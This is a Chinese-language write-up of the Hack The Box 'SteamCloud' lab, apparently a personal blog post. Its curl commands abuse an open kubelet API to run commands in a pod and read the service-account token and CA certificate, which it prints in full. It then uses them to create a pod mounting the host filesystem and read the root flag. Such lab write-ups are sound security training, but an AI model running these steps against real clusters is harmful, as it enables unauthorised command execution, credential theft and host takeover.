Tracks-cloud-steamcloud

17k words
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ sudo nmap -sS 10.129.96.167 --min-rate=3000 -p22,2379,2380,8443,10249,10250,10256, -sV -O
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 04:21 EDT
Stats: 0:00:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 04:22 (0:00:08 remaining)
Nmap scan report for 10.129.96.167 (10.129.96.167)
Host is up (0.22s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
2379/tcp open ssl/etcd-client?
2380/tcp open ssl/etcd-server?
8443/tcp open ssl/https-alt
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org

这里8443访问时候是有鉴权,访问不到,看下版本倒是ok

1

不过他有开kubelet API10250可以通过web请求到api

这里可以请求/pods或者/runningpods/得到pod信息

1
2
3
4
5
6
7
8
9
└─$ curl https://steamcloud.htb:10250/runningpods/ -s -k|jq  -c '.items[].metadata|[.name, .namespace]'
["coredns-78fcd69978-f22q2","kube-system"]
["kube-proxy-zbn48","kube-system"]
["storage-provisioner","kube-system"]
["kube-scheduler-steamcloud","kube-system"]
["kube-controller-manager-steamcloud","kube-system"]
["kube-apiserver-steamcloud","kube-system"]
["etcd-steamcloud","kube-system"]
["nginx","default"]

其实只看跑着啥pod用runningpods给的信息会更简练些,不过pods更全面一些,不过这里筛选过后可以做到一致。

1
2
3
4
5
6
7
8
9
└─$ curl https://steamcloud.htb:10250/pods -s -k|jq  -c '.items[].metadata|[.name, .namespace]'
["storage-provisioner","kube-system"]
["coredns-78fcd69978-f22q2","kube-system"]
["kube-proxy-zbn48","kube-system"]
["nginx","default"]
["kube-scheduler-steamcloud","kube-system"]
["etcd-steamcloud","kube-system"]
["kube-apiserver-steamcloud","kube-system"]
["kube-controller-manager-steamcloud","kube-system"]

可以看到nginx这个命名空间是default的,尝试访问一下试试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ curl -XPOST https://steamcloud.htb:10250/run/default/nginx/nginx -d 'cmd=ls -al' -k
total 76
drwxr-xr-x 1 root root 4096 May 16 08:02 .
drwxr-xr-x 1 root root 4096 May 16 08:02 ..
-rwxr-xr-x 1 root root 0 May 16 08:02 .dockerenv
drwxr-xr-x 2 root root 4096 Mar 26 2019 bin
drwxr-xr-x 2 root root 4096 Feb 3 2019 boot
drwxr-xr-x 5 root root 360 May 16 08:02 dev
drwxr-xr-x 1 root root 4096 May 16 08:02 etc
drwxr-xr-x 2 root root 4096 Feb 3 2019 home
drwxr-xr-x 1 root root 4096 Mar 26 2019 lib
drwxr-xr-x 2 root root 4096 Mar 26 2019 lib64
drwxr-xr-x 2 root root 4096 Mar 26 2019 media
drwxr-xr-x 2 root root 4096 Mar 26 2019 mnt
drwxr-xr-x 2 root root 4096 Mar 26 2019 opt
dr-xr-xr-x 193 root root 0 May 16 08:02 proc
drwxr-xr-x 2 root root 4096 Nov 30 2021 root
drwxr-xr-x 1 root root 4096 May 16 08:02 run
drwxr-xr-x 2 root root 4096 Mar 26 2019 sbin
drwxr-xr-x 2 root root 4096 Mar 26 2019 srv
dr-xr-xr-x 13 root root 0 May 16 08:02 sys
drwxrwxrwt 1 root root 4096 Mar 26 2019 tmp
drwxr-xr-x 1 root root 4096 Mar 26 2019 usr
drwxr-xr-x 1 root root 4096 Mar 26 2019 var

root

可以参考这篇文章

https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca

以及

https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration#service-account-tokens

1
2
3
4
5
6
7
8
9
10
11
12
“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”

ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.

Usually one of the directories:

/run/secrets/kubernetes.io/serviceaccount

/var/run/secrets/kubernetes.io/serviceaccount

/secrets/kubernetes.io/serviceaccount

在一个pod中通常会有一个ServiceAccount用来被k8s做鉴权或者与k8 api通信用。

这里到对应的路径下找到ca证书和jwt令牌

1
2
└─$ curl -XPOST https://steamcloud.htb:10250/run/default/nginx/nginx -d 'cmd=cat /run/secrets/kubernetes.io/serviceaccount/token' -k
eyJhbGciOiJSUzI1NiIsImtpZCI6InVDd2tuY0UzYm1ndmlVY1pvRGFDMnNCbVEzWDNMNmJNcUpWZEIzYk9YeGMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzQ3NDQ5NTc0LCJpYXQiOjE3MTU5MTM1NzQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImI3N2FmZmNhLTBiYjQtNGFlMC04MDgzLTgzMjYzMGVhZDRhYyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6Ijk3NmQ1MDVlLTc1MzAtNDFjMy05M2E2LTllODUyYjU3OWIxMyJ9LCJ3YXJuYWZ0ZXIiOjE3MTU5MTcxODF9LCJuYmYiOjE3MTU5MTM1NzQsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.DP-i_cZ5n1bFpTsDQMWd-gDdFgdzmej0LIbiKuodb59rjqaxzVrmWW7kEIMVgO2KwxEcTqUBJfBkA1rGTnrX6JrYHJgDLyQLCm974XV7YMuMn8x5V2iDMaJgjZIa24FqvnLLg0z6FIvZOmPBJ7SDv4C2QimarVOyG_NpExfqqdaoewxlbKohynQIYe-sheSOCfiLBOjzGtkmVfaSZjm7v8HIUDLNhJrSXsQMZ8Qpq15wyNyuM76fS0jR_sngJynakZNa0slTTYQU-vV7At9BcBJpa50faJQ8y3lpaReccgUpcSI3BXpUvIBoYb9eX8cn2jDWIiXes0Nwoxg0pKhp_Q

ca证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ curl -XPOST https://steamcloud.htb:10250/run/default/nginx/nginx -d 'cmd=cat /run/secrets/kubernetes.io/serviceaccount/ca.crt' -k
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----

有这俩证书我们就可以以default服务的身份去和api通信啦,先测试获取一下这个pod的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
└─$ curl -s --cacert ca.crt  --header "Authorization: Bearer ${TOKEN}" https://steamcloud.htb:8443/api/v1/namespaces/default/pods -k|jq  '.items[].metadata'
{
"name": "nginx",
"namespace": "default",
"uid": "b77affca-0bb4-4ae0-8083-832630ead4ac",
"resourceVersion": "501",
"creationTimestamp": "2024-05-16T08:02:02Z",
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"nginx\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"imagePullPolicy\":\"Never\",\"name\":\"nginx\",\"volumeMounts\":[{\"mountPath\":\"/root\",\"name\":\"flag\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/opt/flag\"},\"name\":\"flag\"}]}}\n"
},
"managedFields": [
{
"manager": "kubectl-client-side-apply",
"operation": "Update",
"apiVersion": "v1",
"time": "2024-05-16T08:02:02Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
".": {},
"f:kubectl.kubernetes.io/last-applied-configuration": {}
}
},
"f:spec": {
"f:containers": {
"k:{\"name\":\"nginx\"}": {
".": {},
"f:image": {},
"f:imagePullPolicy": {},
"f:name": {},
"f:resources": {},
"f:terminationMessagePath": {},
"f:terminationMessagePolicy": {},
"f:volumeMounts": {
".": {},
"k:{\"mountPath\":\"/root\"}": {
".": {},
"f:mountPath": {},
"f:name": {}
}
}
}
},
"f:dnsPolicy": {},
"f:enableServiceLinks": {},
"f:restartPolicy": {},
"f:schedulerName": {},
"f:securityContext": {},
"f:terminationGracePeriodSeconds": {},
"f:volumes": {
".": {},
"k:{\"name\":\"flag\"}": {
".": {},
"f:hostPath": {
".": {},
"f:path": {},
"f:type": {}
},
"f:name": {}
}
}
}
}
},
{
"manager": "kubelet",
"operation": "Update",
"apiVersion": "v1",
"time": "2024-05-16T08:02:03Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:status": {
"f:conditions": {
"k:{\"type\":\"ContainersReady\"}": {
".": {},
"f:lastProbeTime": {},
"f:lastTransitionTime": {},
"f:status": {},
"f:type": {}
},
"k:{\"type\":\"Initialized\"}": {
".": {},
"f:lastProbeTime": {},
"f:lastTransitionTime": {},
"f:status": {},
"f:type": {}
},
"k:{\"type\":\"Ready\"}": {
".": {},
"f:lastProbeTime": {},
"f:lastTransitionTime": {},
"f:status": {},
"f:type": {}
}
},
"f:containerStatuses": {},
"f:hostIP": {},
"f:phase": {},
"f:podIP": {},
"f:podIPs": {
".": {},
"k:{\"ip\":\"172.17.0.3\"}": {
".": {},
"f:ip": {}
}
},
"f:startTime": {}
}
},
"subresource": "status"
}
]
}

不过这个账户权限是真的低,试了一堆就pods能用,
看一下有账户啥权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
└─$ curl --cacert ca.crt  --header "Authorization: Bearer ${TOKEN}" -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://steamcloud.htb:8443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"


{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {

},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"get",
"create",
"list"
],
"apiGroups": [
""
],
"resources": [
"pods"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/openid/v1/jwks"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}

或者用kubectl也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ kubectl auth can-i --server https://10.129.42.197:8443 --certificate-authority=ca.crt --token=$(cat token)  --list                      
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get create list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]

其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
"status": {    
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"get",
"create",
"list"
],
"apiGroups": [
""
],
"resources": [
"pods"
]
}
],

能看到对pod的权限我们有get、create、list

直接进行一个创建pod 根宿主目录挂载到里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ curl -X POST \
-H "Content-Type: application/yaml" \
-H "Authorization: Bearer $token" \
--cacert ./ca.crt \
--data-binary @host.json \
https://10.129.42.197:8443/api/v1/namespaces/default/pods
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {

},
"status": "Failure",
"message": "pods \"test\" already exists",
"reason": "AlreadyExists",
"details": {
"name": "test",
"kind": "pods"
},
"code": 409
}

进行一个访的问

1
curl https://steamcloud.htb:10250/run/default/test/test -k -XPOST -d 'cmd=cat /test/root/root.txt'

get root


姿势点

我想用/exec去执行命令来着
curl -sk "https://steamcloud.htb:10250/exec/default/test/test?command=whoami&input=1&output=1&tty=1
然后报了Upgrade request required
查了下是websocket的问题
用wscat试了下还是g,最后用的run接口。


然后是用curl请求8443,记得带上证书和token

1
2
3
4
curl -X POST \                                                                             
-H "Authorization: Bearer $token" \
--cacert ./ca.crt \
https://10.129.42.197:8443/api/v1/namespaces/default/pods

8443和10250请求api路径的区别

1
2
#这是10250
curl -i "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" https://steamcloud.htb:10250/exec/default/pods/test?command=/bin/bash&command=whoami&input=1&output=1&tty=1" -k
1
2
3
4
#芝士8443
curl -i -H "Authorization: Bearer $token" \
--cacert ./ca.crt \
'https://steamcloud.htb:10250/api/v1/namespaces/default/pods/test/exec?stdout=1&stderr=1&tty=true&command=whoami'

然后发现8443好像没有/run接口 神奇 也可能是我没找到,连10250的/run接口都在官方文档里没找到..k8s的接口文档藏得好深啊

过程参考文档:

https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f

https://cloud.tencent.com/developer/article/2272199

https://cloud.tencent.com/developer/article/1521596?areaId=106001

https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca

https://tttang.com/archive/1389/

10250 kubelet

https://github.com/kubernetes/kubernetes/blob/5ceb99dc6bae8a3013192439bdbee942d14de190/staging/src/k8s.io/apiserver/pkg/endpoints/request/requestinfo.go#L93

https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubelet/server/auth_test.go

https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubelet/server/server.go

https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f

8443 apiserver

https://www.cnblogs.com/a00ium/p/10905279.html

https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubeapiserver/admission/exclusion/resources.go

exec解析

https://www.cnblogs.com/a00ium/p/10905279.html

官方文档

https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/

翻了翻源码好像确实是没有